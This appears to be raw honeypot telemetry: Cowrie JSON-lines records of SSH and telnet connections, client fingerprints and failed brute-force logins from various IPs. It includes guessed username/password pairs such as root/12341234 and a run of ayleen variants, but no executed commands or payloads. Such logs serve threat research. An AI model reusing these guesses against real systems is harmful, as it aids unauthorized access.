{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"614f98ad3774","protocol":"telnet","message":"New connection: 38.41.2.225:43530 (10.17.0.5:23) [session: 614f98ad3774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:02.297914Z"}
{"eventid":"cowrie.session.closed","duration":95.09121942520142,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:21.405631Z","src_ip":"167.71.238.254","session":"537c5e3ec38c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":34016,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba75fe18de6f","protocol":"ssh","message":"New connection: 177.234.174.18:34016 (10.17.0.5:22) [session: ba75fe18de6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:37.101078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:37.106091Z","src_ip":"177.234.174.18","session":"ba75fe18de6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:37.241128Z","src_ip":"177.234.174.18","session":"ba75fe18de6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:38.820573Z","src_ip":"177.234.174.18","session":"ba75fe18de6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:31:39.962601Z","src_ip":"177.234.174.18","session":"ba75fe18de6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00577402114868,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:32:15.488685Z","src_ip":"49.88.156.34","session":"2ca34768b530","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01235485076904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:32:56.016253Z","src_ip":"38.41.2.225","session":"cef92c94cf0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0028145313263,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:32:58.009876Z","src_ip":"38.41.2.225","session":"1d11fa6b1b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":54384,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57d94a22588","protocol":"telnet","message":"New connection: 38.41.2.225:54384 (10.17.0.5:23) [session: b57d94a22588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:32:58.557844Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":54484,"dst_ip":"10.17.0.5","dst_port":23,"session":"fca6de4e0402","protocol":"telnet","message":"New connection: 38.41.2.225:54484 (10.17.0.5:23) [session: fca6de4e0402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:32:59.357314Z"}
{"eventid":"cowrie.session.closed","duration":120.005526304245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:02.303308Z","src_ip":"38.41.2.225","session":"614f98ad3774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":64011,"dst_ip":"159.203.135.109","dst_port":22,"session":"633d1c087977","protocol":"ssh","message":"New connection: 113.190.252.123:64011 (159.203.135.109:22) [session: 633d1c087977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:33.147413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:33.152478Z","src_ip":"113.190.252.123","session":"633d1c087977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:33.670542Z","src_ip":"113.190.252.123","session":"633d1c087977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12341234","message":"login attempt [root/12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:35.223355Z","src_ip":"113.190.252.123","session":"633d1c087977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:33:36.746391Z","src_ip":"113.190.252.123","session":"633d1c087977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.111","src_port":36116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04e288d3470","protocol":"ssh","message":"New connection: 45.79.207.111:36116 (10.17.0.5:22) [session: b04e288d3470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:04.045798Z"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:04.884826Z","src_ip":"45.79.207.111","session":"b04e288d3470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.180.12.23","src_port":32994,"dst_ip":"10.17.0.5","dst_port":23,"session":"96d345dd605c","protocol":"telnet","message":"New connection: 194.180.12.23:32994 (10.17.0.5:23) [session: 96d345dd605c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:28.189598Z"}
{"eventid":"cowrie.session.closed","duration":4.894182920455933,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:33.083659Z","src_ip":"194.180.12.23","session":"96d345dd605c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00145697593689,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:58.559178Z","src_ip":"38.41.2.225","session":"b57d94a22588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00165843963623,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:34:59.358819Z","src_ip":"38.41.2.225","session":"fca6de4e0402","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":37300,"dst_ip":"10.17.0.5","dst_port":23,"session":"989e8b5d48b1","protocol":"telnet","message":"New connection: 38.41.2.225:37300 (10.17.0.5:23) [session: 989e8b5d48b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:35:01.068229Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d913b0d88f91","protocol":"telnet","message":"New connection: 167.71.238.254:59068 (10.17.0.5:23) [session: d913b0d88f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:35:12.436550Z"}
{"eventid":"cowrie.session.closed","duration":17.77936053276062,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:35:30.215802Z","src_ip":"167.71.238.254","session":"d913b0d88f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":47364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0cc90684a10","protocol":"telnet","message":"New connection: 167.71.238.254:47364 (10.17.0.5:23) [session: c0cc90684a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:35:35.560675Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.202.48","src_port":52538,"dst_ip":"10.17.0.5","dst_port":23,"session":"f23dcc5c3ab8","protocol":"telnet","message":"New connection: 165.227.202.48:52538 (10.17.0.5:23) [session: f23dcc5c3ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:36:41.493134Z"}
{"eventid":"cowrie.session.closed","duration":85.47360372543335,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:37:01.034091Z","src_ip":"167.71.238.254","session":"c0cc90684a10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0014488697052,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:37:01.069483Z","src_ip":"38.41.2.225","session":"989e8b5d48b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":48536,"dst_ip":"10.17.0.5","dst_port":23,"session":"c463ae73c8e0","protocol":"telnet","message":"New connection: 38.41.2.225:48536 (10.17.0.5:23) [session: c463ae73c8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:37:03.968178Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":48718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f7760533b59","protocol":"telnet","message":"New connection: 38.41.2.225:48718 (10.17.0.5:23) [session: 2f7760533b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:37:05.396194Z"}
{"eventid":"cowrie.session.closed","duration":41.92134356498718,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:37:23.414350Z","src_ip":"165.227.202.48","session":"f23dcc5c3ab8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33132,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ab6828c917a","protocol":"ssh","message":"New connection: 213.209.159.56:33132 (159.203.135.109:22) [session: 7ab6828c917a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:21.461627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:21.466933Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:21.555241Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen","message":"login attempt [ayleen/ayleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:21.955704Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen1","message":"login attempt [ayleen/ayleen1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:23.040783Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen123","message":"login attempt [ayleen/ayleen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:24.126013Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen1234","message":"login attempt [ayleen/ayleen1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:25.219816Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ayleen","password":"ayleen12345","message":"login attempt [ayleen/ayleen12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:26.306333Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:38:27.391299Z","src_ip":"213.209.159.56","session":"7ab6828c917a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48118,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8443e387c84","protocol":"telnet","message":"New connection: 167.71.238.254:48118 (10.17.0.5:23) [session: a8443e387c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:00.644187Z"}
{"eventid":"cowrie.session.closed","duration":120.00392270088196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:03.971957Z","src_ip":"38.41.2.225","session":"c463ae73c8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00288009643555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:05.398942Z","src_ip":"38.41.2.225","session":"2f7760533b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":60380,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a064293ca6","protocol":"telnet","message":"New connection: 38.41.2.225:60380 (10.17.0.5:23) [session: 90a064293ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:06.258726Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":60528,"dst_ip":"10.17.0.5","dst_port":23,"session":"949bcf7df949","protocol":"telnet","message":"New connection: 38.41.2.225:60528 (10.17.0.5:23) [session: 949bcf7df949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:08.159414Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":60324,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7bb94ae844d","protocol":"telnet","message":"New connection: 38.41.2.225:60324 (10.17.0.5:23) [session: b7bb94ae844d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:08.169849Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":33666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6a592bfbaf5","protocol":"telnet","message":"New connection: 38.41.2.225:33666 (10.17.0.5:23) [session: f6a592bfbaf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:24.178211Z"}
{"eventid":"cowrie.session.closed","duration":33.53556823730469,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:39:34.179594Z","src_ip":"167.71.238.254","session":"a8443e387c84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":14878,"dst_ip":"10.17.0.5","dst_port":22,"session":"e89adcd09c2c","protocol":"ssh","message":"New connection: 27.74.248.52:14878 (10.17.0.5:22) [session: e89adcd09c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:40:25.169996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:40:25.175279Z","src_ip":"27.74.248.52","session":"e89adcd09c2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:40:25.692202Z","src_ip":"27.74.248.52","session":"e89adcd09c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234512345","message":"login attempt [root/1234512345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:40:27.389902Z","src_ip":"27.74.248.52","session":"e89adcd09c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:40:28.896119Z","src_ip":"27.74.248.52","session":"e89adcd09c2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0068302154541,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:06.265422Z","src_ip":"38.41.2.225","session":"90a064293ca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.41.2.225","src_port":43534,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c4f899f973","protocol":"telnet","message":"New connection: 38.41.2.225:43534 (10.17.0.5:23) [session: a0c4f899f973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:07.585945Z"}
{"eventid":"cowrie.session.closed","duration":120.0019953250885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:08.161283Z","src_ip":"38.41.2.225","session":"949bcf7df949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00182461738586,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:08.171556Z","src_ip":"38.41.2.225","session":"b7bb94ae844d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.100","src_port":41822,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a57e760cb17","protocol":"ssh","message":"New connection: 85.11.167.100:41822 (159.203.135.109:22) [session: 9a57e760cb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:41:09.436105Z"}
